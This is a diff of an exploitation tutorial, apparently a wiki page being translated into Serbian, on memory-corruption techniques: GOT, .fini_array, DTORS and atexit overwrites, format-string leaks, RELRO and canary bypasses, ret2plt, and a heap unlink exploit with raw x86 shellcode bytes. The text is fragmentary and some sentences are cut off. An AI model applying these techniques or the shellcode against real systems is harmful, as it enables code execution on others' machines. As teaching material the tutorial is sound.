using format-strings here: +Možete pronaći **šablon** za napad na GOT korišćenjem format stringova ovde: {% content-ref url="format-strings-template.md" %} [format-strings-template.md](format-strings-template.md) @@ -451,151 +433,136 @@ You an find a **template** to exploit the GOT using format-strings here: ### **.fini\_array** Essentially this is a structure with **functions that will be called** before the program finishes. This is interesting if you can call your **shellcode just jumping to an address**, or in cases where you need to go back to main again to **exploit the format string a second time**. - ```bash objdump -s -j .fini_array ./greeting ./greeting: file format elf32-i386 Contents of section .fini_array: - 8049934 a0850408 +8049934 a0850408 #Put your address in 0x8049934 ``` +Napomena da ovo **neće** **stvoriti** beskonačnu petlju jer kada se vratite na glavnu funkciju, kanarinci će primetiti da je kraj steka možda oštećen i funkcija se neće ponovo pozivati. Dakle, sa ovim ćete moći da **izvršite još jedan** napad na ranjivost. -Note that this **won't** **create** an **eternal loop** because when you get back to main the canary will notice, the end of the stack might be corrupted and the function won't be recalled again. So with this you will be able to **have 1 more execution** of the vuln. +### **Formatiranje stringova za ispis sadržaja** -### **Format Strings to Dump Content** +Formatiranje stringova takođe se može zloupotrebiti za **ispisivanje sadržaja** iz memorije programa.\ +Na primer, u sledećoj situaciji postoji **lokalna promenljiva na steku koja pokazuje na zastavicu**. Ako **pronađete** gde se u **memoriji** nalazi **pokazivač** na **zastavicu**, možete naterati **printf da pristupi** toj **adresi** i **ispise** zastavicu: -A format string can also be abused to **dump content** from the memory of the program.\ -For example, in the following situation there is a **local variable in the stack pointing to a flag.** If you **find** where in **memory** the **pointer** to the **flag** is, you can make **printf access** that **address** and **print** the **flag**: - -So, flag is in **0xffffcf4c** +Dakle, zastavica je na **0xffffcf4c** ![](<../../.gitbook/assets/image (618) (2).png>) -And from the leak you can see the **pointer to the flag** is in the **8th** parameter: +Iz curenja možete videti da je **pokazivač na zastavicu** u **osmom** parametru: ![](<../../.gitbook/assets/image (623).png>) -So, **accessing** the **8th parameter** you can get the flag: +Dakle, **pristupanjem** **osmom parametru** možete dobiti zastavicu: ![](<../../.gitbook/assets/image (624).png>) -Note that following the **previous exploit** and realising that you can **leak content** you can **set pointers** to **`printf`** to the section where the **executable** is **loaded** and **dump** it **entirely**! +Napomena da nakon **prethodnog napada** i shvatanja da možete **procureti sadržaj**, možete **postaviti pokazivače** na **`printf`** na sekciju gde je **učitana** izvršna datoteka i **potpuno je iscuriti**! ### **DTOR** {% hint style="danger" %} -Nowadays is very **weird to find a binary with a dtor section**. +Danas je vrlo **čudno pronaći binarnu datoteku sa sekcijom dtor**. {% endhint %} -The destructor are functions that are **executed before program finishes**.\ -If you manage to **write** an **address** to a **shellcode** in **`__DTOR_END__`** , that will be **executed** before the programs ends.\ -Get the address of this section with: - +Destruktori su funkcije koje se **izvršavaju pre završetka programa**.\ +Ako uspete da **upišete adresu** šel koda u **`__DTOR_END__`**, to će se **izvršiti** pre nego što program završi.\ +Dobijte adresu ove sekcije sa: ```bash objdump -s -j .dtors /exec rabin -s /exec | grep “__DTOR” ``` +Obično ćete pronaći **DTOR** sekciju **između** vrednosti `ffffffff` i `00000000`. Dakle, ako vidite samo te vrednosti, to znači da **nema registrovane funkcije**. Dakle, **prepišite** **`00000000`** sa **adresom** do **shell koda** kako biste ga izvršili. -Usually you will find the **DTOR** section **between** the values `ffffffff` and `00000000`. So if you just see those values, it means that there **isn't any function registered**. So **overwrite** the **`00000000`** with the **address** to the **shellcode** to execute it. +### **Formatiranje stringova za preplavljivanje bafera** -### **Format Strings to Buffer Overflows** +**sprintf** funkcija kopira formatirani string u promenljivu. Stoga, možete iskoristiti formatiranje stringa da izazovete preplavljivanje bafera u promenljivoj gde se kopira sadržaj. Na primer, payload `%.44xAAAA` će **upisati 44B+"AAAA" u promenljivu**, što može izazvati preplavljivanje bafera. -Tthe **sprintf moves** a formatted string **to** a **variable.** Therefore, you could abuse the **formatting** of a string to cause a **buffer overflow in the variable** where the content is copied to.\ -For example, the payload `%.44xAAAA` will **write 44B+"AAAA" in the variable**, which may cause a buffer overflow. - -### **\_\_atexit Structures** +### **\_\_atexit strukture** {% hint style="danger" %} -Nowadays is very **weird to exploit this**. +Danas je vrlo **neobično iskoristiti ovo**. {% endhint %} -**`atexit()`** is a function to which **other functions are passed as parameters.** These **functions** will be **executed** when executing an **`exit()`** or the **return** of the **main**.\ -If you can **modify** the **address** of any of these **functions** to point to a shellcode for example, you will **gain control** of the **process**, but this is currently more complicated.\ -Currently the **addresses to the functions** to be executed are **hidden** behind several structures and finally the address to which it points are not the addresses of the functions, but are **encrypted with XOR** and displacements with a **random key**. So currently this attack vector is **not very useful at least on x86** and **x64\_86**.\ -The **encryption function** is **`PTR_MANGLE`**. **Other architectures** such as m68k, mips32, mips64, aarch64, arm, hppa... **do not implement the encryption** function because it **returns the same** as it received as input. So these architectures would be attackable by this vector. +**`atexit()`** je funkcija kojoj se **drugačije funkcije prosleđuju kao parametri**. Ove **funkcije** će biti **izvršene** prilikom izvršavanja **`exit()`** ili **povratka** iz **main** funkcije.\ +Ako možete **izmeniti adresu** bilo koje od ovih **funkcija** da pokazuje na shell kod na primer, dobićete kontrolu nad procesom, ali to je trenutno komplikovanije.\ +Trenutno su **adrese funkcija** koje treba izvršiti **sakrivene** iza nekoliko struktura i na kraju adresa na koju pokazuju nije adresa funkcija, već su **šifrovane sa XOR** i pomerene sa **slučajnim ključem**. Tako da je trenutno ovaj vektor napada **nije vrlo koristan, barem na x86** i **x64\_86**.\ +**Funkcija za šifrovanje** je **`PTR_MANGLE`**. **Druge arhitekture** kao što su m68k, mips32, mips64, aarch64, arm, hppa... **ne implementiraju funkciju za šifrovanje** jer **vraćaju isto** što su primile kao ulaz. Dakle, ove arhitekture bi bile podložne ovom vektoru napada. ### **setjmp() & longjmp()** {% hint style="danger" %} -Nowadays is very **weird to exploit this**. +Danas je vrlo **neobično iskoristiti ovo**. {% endhint %} -**`Setjmp()`** allows to **save** the **context** (the registers)\ -**`longjmp()`** allows to **restore** the **context**.\ -The **saved registers** are: `EBX, ESI, EDI, ESP, EIP, EBP`\ -What happens is that EIP and ESP are passed by the **`PTR_MANGLE`** function, so the **architecture vulnerable to this attack are the same as above**.\ -They are useful for error recovery or interrupts.\ -However, from what I have read, the other registers are not protected, **so if there is a `call ebx`, `call esi` or `call edi`** inside the function being called, control can be taken over. Or you could also modify EBP to modify the ESP. +**`Setjmp()`** omogućava da se **sačuva** **kontekst** (registri)\ +**`longjmp()`** omogućava da se **obnovi** **kontekst**.\ +**Sačuvani registri** su: `EBX, ESI, EDI, ESP, EIP, EBP`\ +Ono što se dešava je da se EIP i ESP prosleđuju kroz funkciju **`PTR_MANGLE`**, tako da su **arhitekture koje su podložne ovom napadu iste kao i prethodno navedene**.\ +Koriste se za oporavak od grešaka ili prekida.\ +Međutim, prema onome što sam pročitao, ostali registri nisu zaštićeni, **pa ako postoji `call ebx`, `call esi` ili `call edi`** unutar funkcije koja se poziva, može se preuzeti kontrola. Ili takođe možete izmeniti EBP da biste izmenili ESP. -**VTable y VPTR en C++** +**VTable i VPTR u C++** -Each class has a **Vtable** which is an array of **pointers to methods**. +Svaka klasa ima **Vtable** koji je niz **pokazivača na metode**. -Each object of a **class** has a **VPtr** which is a **pointer** to the arrayof its class. The VPtr is part of the header of each object, so if an **overwrite** of the **VPtr** is achieved it could be **modified** to **point** to a dummy method so that executing a function would go to the shellcode. +Svaki objekat klase ima **VPtr** koji je **pokazivač** na niz svoje klase. VPtr je deo zaglavlja svakog objekta, pa ako se postigne **prepisivanje** VPtr-a, može se **izmeniti** da **pokazuje** na lažnu metodu, tako da izvršavanje funkcije ide na shell kod. -## **Medidas preventivas y evasiones** +## **Preventivne mere i izbegavanje** -**ASLR no tan aleatorio** +**ASLR nije tako slučajan** -PaX dive el espacio de direcciones del proceso en 3 grupos: +PaX deli prostor adresa procesa u 3 grupe: -Codigo y datos iniciados y no iniciados: .text, .data y .bss —> 16bits de entropia en la variable delta\_exec, esta variable se inicia aleatoriamente con cada proceso y se suma a las direcciones iniciales +Kod i inicijalizovani i neinicijalizovani podaci: .text, .data i .bss —> 16 bita entropije u promenljivoj delta\_exec, ova promenljiva se inicijalizuje nasumično sa svakim procesom i dodaje se na početne adrese -Memoria asignada por mmap() y libraries compartidas —> 16bits, delta\_mmap +Memorija dodeljena pomoću mmap() i deljenih biblioteka —> 16 bita, delta\_mmap -El stack —> 24bits, delta\_stack —> Realmente 11 (del byte 10º al 20º inclusive) —>alineado a 16bytes —> 524.288 posibles direcciones reales del stack +Stek —> 24 bita, delta\_stack —> Zaista 11 (od 10. do 20. bajta uključujući) —> poravnato na 16 bajta —> 524.288 mogućih stvarnih adresa steka -Las variables de entorno y los argumentos se desplazan menos que un buffer en el stack. +Okruženjske promenljive i argumenti se pomeraju manje od bafera na steku. **Return-into-printf** -Es una técnica para convertir un buffer overflow en un error de cadena de formato. Consiste en sustituir el EIP para que apunte a un printf de la función y pasarle como argumento una cadena de formato manipulada para obtener valores sobre el estado del proceso. +To je tehnika koja pretvara preplavljivanje bafera u grešku formatiranja stringa. Sastoji se od zamene EIP-a tako da pokazuje na printf funkciju i prosleđivanja manipulisanog formatiranog stringa kao argumenta kako bi se dobile vrednosti o stanju procesa. -**Ataque a librerías** +**Napad na biblioteke** -Las librerías están en una posición con 16bits de aleatoriedad = 65636 posibles direcciones. Si un servidor vulnerable llama a fork() el espacio de direcciones de memoria es clocado en el proceso hijo y se mantiene intacto. Por lo que se puede intentar hacer un brute force a la función usleep() de libc pasándole como argumento “16” de forma que cuando tarde más de lo normal en responder se habrá encontrado dicha función. Sabiendo dónde está dicha función se puede obtener delta\_mmap y calcular las demás. +Biblioteke se nalaze na poziciji sa 16 bita nasumičnosti = 65636 mogućih adresa. Ako ranjiv server pozove fork(), prostor adresa memorije se kopira u proces dete i ostaje netaknut. Zato se može pokušati izvršiti brute force napad na usleep() funkciju iz libc, prosleđujući joj argument "16", tako da kada duže vreme traje da odgovori, ta funkcija je pronađena. Znajući gde se ta funkcija nalazi, može se dobiti delta\_mmap i izračunati ostale vrednosti. -La única forma de estar seguros de que el ASLR funciona es usando arquitectura de 64bits. Ahí no hay ataques de fuerza bruta. +Jedini način da budemo sigurni da ASLR funkcioniše je korišćenje 64-bitne arhitekture. Tamo nema brute force napada. -**StackGuard y StackShield** +**StackGuard i StackShield** -**StackGuard** inserta antes del EIP —> 0x000aff0d(null, \n, EndOfFile(EOF), \r) —> Siguen siendo vulnerables recv(), memcpy(), read(), bcoy() y no protege el EBP +**StackGuard** ubacuje pre EIP-a —> 0x000aff0d(null, \n, EndOfFile(EOF), \r) —> I dalje su ranjive recv(), memcpy(), read(), bcoy() i ne štiti EBP -**StackShield** es más elaborado que StackGuard +**StackShield** je složeniji od StackGuard-a -Guarda en una tabla (Global Return Stack) todas las direcciones EIP de vuelta de forma que el overflow no cause ningún daño. Ademas, se pueden comparar ambas direcciones para a ver si ha habido un desbordamiento. +Sve povratne adrese EIP se čuvaju u tabeli (Global Return Stack) tako da preplavljivanje bafera ne prouzrokuje nikakvu štetu. Takođe, obe adrese se mogu uporediti da se vidi da li je došlo do preplavljivanja. -También se puede comprobar la dirección de retorno con un valor límite, así si el EIP se va a un sitio distinto del habitual como el espacio de datos se sabrá. Pero esto se sortea con Ret-to-lib, ROPs o ret2ret. +Takođe se može proveriti povratna adresa sa graničnom vrednošću, pa ako EIP ode na drugo mesto, kao što je prostor podataka, znaće se. Ali to se može zaobići sa Ret-to-lib, ROP ili ret2ret. -Como se puede ver stackshield tampoco protege las variables locales. +Kao što se može videti, stackshield takođe ne štiti lokalne promenljive. **Stack Smash Protector (ProPolice) -fstack-protector** -Se pone el canary antes del EBP. Reordena las variables locales para que los buffers estén en las posiciones más altas y así no puedan sobreescribir otras variables. +Canary se stavlja pre EBP-a. Lokalne promenljive se reorganizuju tako da baferi budu na najvišim pozicijama i tako ne mogu prebrisati druge promenljive. -Además, realiza una copia segura de los argumentos pasados encima de la pila (encima de las vars locales) y usa estas copias como argumentos. +Takođe, vrši se sigurna kopija prosleđenih argumenata iznad steka (iznad lokalnih promenljivih) i koristi se ova kopija kao argumenti. -No puede proteger arrays de menos de 8 elementos ni buffers que formen parte de una estructura del usuario. - -El canary es un número random sacado de “/dev/urandom” o sino es 0xff0a0000. Se almacena en TLS(Thread Local Storage). Los hilos comparten el mismo espacio de memoria, el TLS es un área que tiene variables globales o estáticas de cada hilo. Sin embargo, en ppio estas son copiadas del proceso padre aunque el proceso hijo podría modificar estos datos sin modificar los del padre ni los de los demás hijos. El problema es que si se usa fork() pero no se crea un nuevo canario, entonces todos los procesos (padre e hijos) usan el mismo canario. En i386 se almacena en gs:0x14 y en x86\_64 se almacena en fs:0x28 - -Esta protección localiza funciones que tengan buffer que puedan ser atacados e incluye en ellas código al ppio de la función para colocar el canario y código al final para comprobarlo. - -La función fork() realiza una copia exacta del proceso del padre, por eso mismo si un servidor web llama a fork() se puede hacer un ataque de fuerza bruta byte por byte hasta averiguar el canary que se está utilizando. - -Si se usa la función execve() después de fork(), se sobreescribe el espacio y el ataque ya no es posible. vfork() permite ejecutar el proceso hijo sin crear un duplicado hasta que el proceso hijo intentase escribir, entonces sí creaba el duplicado. - -**Relocation Read-Only (RELRO)** +Ne može zaštititi nizove sa manje od 8 elemenata ili baufere koji su deo korisničke strukture. +Canary je slučajan broj izvučen iz "/dev/urandom" ili ako nije, onda je 0xff0a0000. Čuva se u TLS (Thread Local Storage). Niti dele isti prostor memorije, TLS je oblast koja ima globalne ili statičke promenljive za svaku nit. Međutim, u principu se kopiraju iz roditeljskog procesa, iako bi proces dete mogao da izmeni ove ### Relro -**Relro (Read only Relocation)** affects the memory permissions similar to NX. The difference is whereas with NX it makes the stack executable, RELRO makes **certain things read only** so we **can't write** to them. The most common way I've seen this be an obstacle is preventing us from doing a **`got` table overwrite**, which will be covered later. The `got` table holds addresses for libc functions so that the binary knows what the addresses are and can call them. Let's see what the memory permissions look like for a `got` table entry for a binary with and without relro. - -With relro: +**Relro (Read only Relocation)** utiče na dozvole memorije slično kao NX. Razlika je u tome što dok NX čini stek izvršivim, RELRO čini **određene stvari samo za čitanje**, tako da im ne možemo pisati. Najčešći način na koji sam video da ovo predstavlja prepreku je sprečavanje **prepisivanja `got` tabele**, o čemu će biti rečeno kasnije. `Got` tabela sadrži adrese libc funkcija tako da binarni zna koje su adrese i može ih pozvati. Hajde da vidimo kako izgledaju dozvole memorije za unos u `got` tabelu za binarnu datoteku sa i bez relro. +Sa relro: ```bash gef➤ vmmap Start End Offset Perm Path @@ -626,11 +593,9 @@ $2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets> gef➤ search-pattern 0x7ffff7e4d100 [+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory [+] In '/tmp/tryc'(0x555555557000-0x555555558000), permission=r-- - 0x555555557fd0 - 0x555555557fe8 → "\x00\xd1\xe4\xf7\xff\x7f[...]" +0x555555557fd0 - 0x555555557fe8 → "\x00\xd1\xe4\xf7\xff\x7f[...]" ``` - -Without relro: - +Bez relro: ```bash gef➤ vmmap Start End Offset Perm Path @@ -661,142 +626,124 @@ $2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets> gef➤ search-pattern 0x7ffff7e4d100 [+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory [+] In '/tmp/try'(0x404000-0x405000), permission=rw- - 0x404018 - 0x404030 → "\x00\xd1\xe4\xf7\xff\x7f[...]" +0x404018 - 0x404030 → "\x00\xd1\xe4\xf7\xff\x7f[...]" ``` +Za binarni fajl **bez relro**-a, možemo videti da je adresa `got` unosa za `fgets` `0x404018`. Pogledajući mapiranje memorije, vidimo da se nalazi između `0x404000` i `0x405000`, što ima **dozvole `rw`**, što znači da možemo čitati i pisati u toj oblasti. Za binarni fajl **sa relro**-om, vidimo da je adresa tabele `got` za pokretanje binarnog fajla (pie je omogućen, pa će se ova adresa promeniti) `0x555555557fd0`. U mapiranju memorije tog binarnog fajla se nalazi između `0x0000555555557000` i `0x0000555555558000`, što ima memoriju **dozvole `r`**, što znači da možemo samo čitati iz nje. -For the binary **without relro**, we can see that the `got` entry address for `fgets` is `0x404018`. Looking at the memory mappings we see that it falls between `0x404000` and `0x405000`, which has the **permissions `rw`**, meaning we can read and write to it. For the binary **with relro**, we see that the `got` table address for the run of the binary (pie is enabled so this address will change) is `0x555555557fd0`. In that binary's memory mapping it falls between `0x0000555555557000` and `0x0000555555558000`, which has the memory **permission `r`**, meaning that we can only read from it. +Kako onda **zaobići** ovo? Tipičan način zaobilaženja koji koristim je da jednostavno ne pišem u memorijske regione koje relro čini samo za čitanje, i **pronađem drugi način za izvršavanje koda**. -So what's the **bypass**? The typical bypass I use is to just don't write to memory regions that relro causes to be read only, and **find a different way to get code execution**. +Napomena da bi ovo moglo da se desi, binarni fajl mora da zna unapred adrese funkcija: -Note that in order for this to happen the binary needs to know previous to execution the addresses to the functions: - -* Lazy binding: The address of a function is searched the first time the function is called. So, the GOT needs to have write permissions during execution. -* Bind now: The addresses of the functions are solved at the begginig of the execution, then read-only permissions are given to sensitive sections like .got, .dtors, .ctors, .dynamic, .jcr. `` `** ``-z relro`**`y`**`-z now\`\*\* - -To check if a program uses Bind now you can do: +* Lenje povezivanje: Adresa funkcije se traži prvi put kada se funkcija pozove. Dakle, `got` mora imati dozvole za pisanje tokom izvršavanja. +* Poveži odmah: Adrese funkcija se rešavaju na početku izvršavanja, a zatim se dodeljuju dozvole samo za čitanje osetljivim sekcijama kao što su .got, .dtors, .ctors, .dynamic, .jcr. `` `** ``-z relro`**`y`**`-z now\`\*\* +Da biste proverili da li program koristi Poveži odmah, možete uraditi: ```bash readelf -l /proc/ID_PROC/exe | grep BIND_NOW ``` +Kada put kada se binarni fajl učita u memoriju i funkcija se prvi put pozove, skoči se na PLT (Procedure Linkage Table). Odatle se vrši skok (jmp) na GOT i otkriva se da ta unosa nije rešena (sadrži sledeću adresu iz PLT). Zatim se poziva Runtime Linker ili rtfd da reši adresu i sačuva je u GOT. -Cuando el binario es cargado en memoria y una función es llamada por primera vez se salta a la PLT (Procedure Linkage Table), de aquí se realiza un salto (jmp) a la GOT y descubre que esa entrada no ha sido resuelta (contiene una dirección siguiente de la PLT). Por lo que invoca al Runtime Linker o rtfd para que resuelva la dirección y la guarde en la GOT. +Kada se pozove funkcija, poziva se PLT, koja ima adresu GOT gde se čuva adresa funkcije, tako da preusmerava tok izvršavanja tamo i poziva funkciju. Međutim, ako je prvi put da se poziva funkcija, ono što se nalazi u GOT je sledeća instrukcija iz PLT, pa tok izvršavanja prati kod PLT (rtfd) i saznaje adresu funkcije, čuva je u GOT i poziva. -Cuando se llama a una función se llama a la PLT, esta tiene la dirección de la GOT donde se almacena la dirección de la función, por lo que redirige el flujo allí y así se llama a la función. Sin embargo, si es la primera vez que se llama a la función, lo que hay en la GOT es la siguiente instrucción de la PLT, por lo tanto el flujo sigue el código de la PLT (rtfd) y averigua la dirección de la función, la guarda en la GOT y la llama. +Prilikom učitavanja binarnog fajla u memoriju, kompajler mu je rekao na kojem offsetu treba da se nalaze podaci koji se moraju učitati prilikom pokretanja programa. -Al cargar un binario en memoria el compilador le ha dicho en qué offset tiene que situar datos que se deben de cargar cuando se corre el programa. +Lenje vezivanje (Lazy binding) - Adresa funkcije se traži prvi put kada se ta funkcija pozove, tako da GOT ima dozvolu za pisanje kako bi se adresa sačuvala tamo i ne bi je trebalo ponovo tražiti. -Lazy binding —> La dirección de la función se busca la primera vez que se invoca dicha función, por lo que la GOT tiene permisos de escritura para que cuando se busque, se guarde ahí y no haya que volver a buscarla. +Veži odmah (Bind now) - Adrese funkcija se traže prilikom učitavanja programa i menja se dozvola sekcija .got, .dtors, .ctors, .dynamic, .jcr na samo čitanje. **-z relro** i **-z now** -Bind now —> Las direcciones de las funciones se buscan al cargar el programa y se cambian los permisos de las secciones .got, .dtors, .ctors, .dynamic, .jcr a solo lectura. **-z relro** y **-z now** +Međutim, općenito gledano, programi nisu komplicirani s tim opcijama, pa su ovi napadi i dalje mogući. -A pesar de esto, en general los programas no están complicados con esas opciones luego estos ataques siguen siendo posibles. +**readelf -l /proc/ID_PROC/exe | grep BIND_NOW** - Da biste saznali da li koriste BIND NOW -**readelf -l /proc/ID\_PROC/exe | grep BIND\_NOW** —> Para saber si usan el BIND NOW +**Fortify Source -D_FORTIFY_SOURCE=1 ili =2** -**Fortify Source -D\_FORTIFY\_SOURCE=1 o =2** +Pokušava identifikovati funkcije koje nebezbedno kopiraju podatke sa jednog mesta na drugo i menja funkciju sa bezbednom funkcijom. -Trata de identificar las funciones que copian de un sitio a otro de forma insegura y cambiar la función por una función segura. +Na primer:\ +char buf[16];\ +strcpy(buf, source); -Por ej:\ -char buf\[16];\ -strcpy(but, source); +Identifikuje je kao nebezbednu i zatim menja strcpy() sa \_\_strcpy\_chk() koristeći veličinu bafera kao maksimalnu veličinu za kopiranje. -La identifica como insegura y entonces cambia strcpy() por \_\_strcpy\_chk() utilizando el tamaño del buffer como tamaño máximo a copiar. +Razlika između **=1** i **=2** je da: -La diferencia entre **=1** o **=2** es que: +Druga ne dozvoljava da **%n** dolazi iz sekcije sa dozvolom za pisanje. Takođe, parametar za direktan pristup argumentima može se koristiti samo ako su prethodno korišćeni, tj. može se koristiti samo **%3$d** ako je prethodno korišćeno **%2$d** i **%1$d** -La segunda no permite que **%n** venga de una sección con permisos de escritura. Además el parámetro para acceso directo de argumentos solo puede ser usado si se usan los anteriores, es decir, solo se pueda usar **%3$d** si antes se ha usado **%2$d** y **%1$d** +Za prikazivanje poruke o grešci koristi se argv\[0\], pa ako se u njega stavi adresa druge lokacije (kao globalna promenljiva), poruka o grešci će prikazati sadržaj te promenljive. Str. 191 -Para mostrar el mensaje de error se usa el argv\[0], por lo que si se pone en el la dirección de otro sitio (como una variable global) el mensaje de error mostrará el contenido de dicha variable. Pag 191 +**Zamena Libsafe** -**Reemplazo de Libsafe** - -Se activa con: LD\_PRELOAD=/lib/libsafe.so.2\ -o\ +Aktivira se sa: LD\_PRELOAD=/lib/libsafe.so.2\ +ili\ “/lib/libsave.so.2” > /etc/ld.so.preload -Se interceptan las llamadas a algunas funciones inseguras por otras seguras. No está estandarizado. (solo para x86, no para compilaxiones con -fomit-frame-pointer, no compilaciones estaticas, no todas las funciones vulnerables se vuelven seguras y LD\_PRELOAD no sirve en binarios con suid). +Pozivi nekih nebezbednih funkcija se presreću i zamenjuju bezbednim funkcijama. Nije standardizovano. (samo za x86, ne za kompilacije sa -fomit-frame-pointer, ne za statičke kompilacije, ne sve ranjive funkcije postaju bezbedne i LD\_PRELOAD ne radi za binarne fajlove sa suid). **ASCII Armored Address Space** -Consiste en cargar las librería compartidas de 0x00000000 a 0x00ffffff para que siempre haya un byte 0x00. Sin embargo, esto realmente no detiene a penas ningún ataque, y menos en little endian. +Sastoji se od učitavanja deljenih biblioteka od 0x00000000 do 0x00ffffff kako bi uvek postojao bajt 0x00. Međutim, ovo zapravo ne zaustavlja gotovo nijedan napad, a posebno ne u little endian formatu. **ret2plt** -Consiste en realiza un ROP de forma que se llame a la función strcpy@plt (de la plt) y se apunte a la entrada de la GOT y se copie el primer byte de la función a la que se quiere llamar (system()). Acto seguido se hace lo mismo apuntando a GOT+1 y se copia el 2ºbyte de system()… Al final se llama la dirección guardada en GOT que será system() +Sastoji se od izvođenja ROP-a tako da se pozove funkcija strcpy@plt (iz plt-a) i usmeri se na unos u GOT-u i kopira se prvi bajt funkcije koju želimo pozvati (system()). Zatim se isto radi usmeravajući se na GOT+1 i kopira se drugi bajt system()... Na kraju se poziva adresa koja je sačuvana u GOT-u, a to će biti system(). -**Falso EBP** +**Lažni EBP** -Para las funciones que usen el EBP como registro para apuntar a los argumentos al modificar el EIP y apuntar a system() se debe haber modificado el EBP también para que apunte a una zona de memoria que tenga 2 bytes cuales quiera y después la dirección a &”/bin/sh”. +Za funkcije koje koriste EBP kao registar za pokazivač na argumente, prilikom izmene EIP-a i usmeravanja na system(), takođe treba izmeniti i EBP kako bi pokazivao na memorijsko područje koje ima bilo koja 2 bajta, a zatim na adresu &"/bin/sh". -**Jaulas con chroot()** +**Kavezi sa chroot()** -debootstrap -arch=i386 hardy /home/user —> Instala un sistema básico bajo un subdirectorio específico +debootstrap -arch=i386 hardy /home/user - Instalira osnovni sistem u određeni poddirektorijum -Un admin puede salir de una de estas jaulas haciendo: mkdir foo; chroot foo; cd .. +Administrator može izaći iz ovih kaveza tako što napravi: mkdir foo; chroot foo; cd .. -**Instrumentación de código** +**Instrumentacija koda** -Valgrind —> Busca errores\ +Valgrind - Traži greške\ Memcheck\ RAD (Return Address Defender)\ Insure++ -## **8 Heap Overflows: Exploits básicos** +## **8 Heap Overflow: Osnovni eksploiti** -**Trozo asignado** +**Dodeljeni deo** prev\_size |\ -size | —Cabecera\ -\*mem | Datos +size | - Zaglavlje\ +\*mem | Podaci -**Trozo libre** +**Slobodan deo** prev\_size |\ size |\ -\*fd | Ptr forward chunk\ -\*bk | Ptr back chunk —Cabecera\ -\*mem | Datos +\*fd | Ptr naprednog bloka\ +\*bk | Ptr nazadnog bloka - Zaglavlje\ +\*mem | Podaci -Los trozos libres están en una lista doblemente enlazada (bin) y nunca pueden haber dos trozos libres juntos (se juntan) +Slobodni delovi su u dvostruko povezanoj listi (bin) i nikada ne smeju postojati dva slobodna dela zajedno (spajaju se). -En “size” hay bits para indicar: Si el trozo anterior está en uso, si el trozo ha sido asignado mediante mmap() y si el trozo pertenece al arena primario. +U "size" se nalaze bitovi koji označavaju: da li je prethodni deo u upotrebi, da li je deo dodeljen putem mmap() i da li deo pripada primarnoj areni. -Si al liberar un trozo alguno de los contiguos se encuentra libre , estos se fusionan mediante la macro unlink() y se pasa el nuevo trozo más grande a frontlink() para que le inserte el bin adecuado. +Ako se oslobodi deo i neki od susednih delova je slobodan, oni se spajaju pomoću makroa unlink() i novi, veći deo se prosleđuje frontlink() da ga ubaci u odgovarajući bin. unlink(){\ -BK = P->bk; —> El BK del nuevo chunk es el que tuviese el que ya estaba libre antes\ -FD = P->fd; —> El FD del nuevo chunk es el que tuviese el que ya estaba libre antes\ -FD->bk = BK; —> El BK del siguiente chunk apunta al nuevo chunk\ -BK->fd = FD; —> El FD del anterior chunk apunta al nuevo chunk\ +BK = P->bk; - BK novog bloka je onaj koji je imao prethodno slobodan blok\ +FD = P->fd; - FD novog bloka je onaj koji je imao prethodno slobodan blok\ +FD->bk = BK; - BK sledećeg bloka pokazuje na novi blok\ +BK->fd = FD; - FD prethodnog bloka pokazuje na novi blok\ } -Por lo tanto si conseguimos modificar el P->bk con la dirección de un shellcode y el P->fd con la dirección a una entrada en la GOT o DTORS menos 12 se logra: +Dakle, ako uspemo da izmenimo P->bk sa adresom shell koda i P->fd sa adresom unosa u GOT ili DTORS minus 12, postiže se: BK = P->bk = \&shellcode\ FD = P->fd = &\_\_dtor\_end\_\_ - 12\ FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode -Y así se se ejecuta al salir del programa la shellcode. +I tako se prilikom izlaska iz programa izvršava shell kod. -Además, la 4º sentencia de unlink() escribe algo y la shellcode tiene que estar reparada para esto: - -BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Esto provoca la escritura de 4 bytes a partir del 8º byte de la shellcode, por lo que la primera instrucción de la shellcode debe ser un jmp para saltar esto y caer en unos nops que lleven al resto de la shellcode. - -Por lo tanto el exploit se crea: - -En el buffer1 metemos la shellcode comenzando por un jmp para que caiga en los nops o en el resto de la shellcode. - -Después de la shell code metemos relleno hasta llegar al campo prev\_size y size del siguiente trozo. En estos sitios metemos 0xfffffff0 (de forma que se sobrescrita el prev\_size para que tenga el bit que dice que está libre) y “-4“(0xfffffffc) en el size (para que cuando compruebe en el 3º trozo si el 2º estaba libre en realidad vaya al prev\_size modificado que le dirá que s´está libre) -> Así cuando free() investigue irá al size del 3º pero en realidad irá al 2º - 4 y pensará que el 2º trozo está libre. Y entonces llamará a **unlink()**. - -Al llamar a unlink() usará como P->fd los primeros datos del 2º trozo por lo que ahí se meterá la dirección que se quieres sobreescribir - 12(pues en FD->bk le sumará 12 a la dirección guardada en FD) . Y en esa dirección introducirá la segunda dirección que encuentre en el 2º trozo, que nos interesará que sea la dirección a la shellcode(P->bk falso). - -**from struct import \*** - -**import os** - -**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno** +Osim toga, četvrta naredba unlink() piše nešto i shell kod mora biti prilagođen za to: +BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) - Ovo dovodi do pisanja 4 bajta počevši od 8. bajta shell koda, pa prva instrukcija shell koda mora bit **shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\** **"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\** @@ -819,57 +766,57 @@ Al llamar a unlink() usará como P->fd los primeros datos del 2º trozo por lo q **unset() liberando en sentido inverso (wargame)** -Estamos controlando 3 chunks consecutivos y se liberan en orden inverso al reservado. +Kontrolišemo 3 uzastopna chunk-a i oni se oslobađaju u obrnutom redosledu od rezervisanog. -En ese caso: +U ovom slučaju: -En el chunck c se pone el shellcode +U chunk-u c se smešta shellcode -El chunck a lo usamos para sobreescribir el b de forma que el el size tenga el bit PREV\_INUSE desactivado de forma que piense que el chunck a está libre. +Chunk a koristimo da prepišemo b tako da size ima isključen bit PREV_INUSE tako da misli da je chunk a slobodan. -Además, se sobreescribe en la cabecera b el size para que valga -4. +Takođe, u zaglavlju b se prepiše size tako da bude 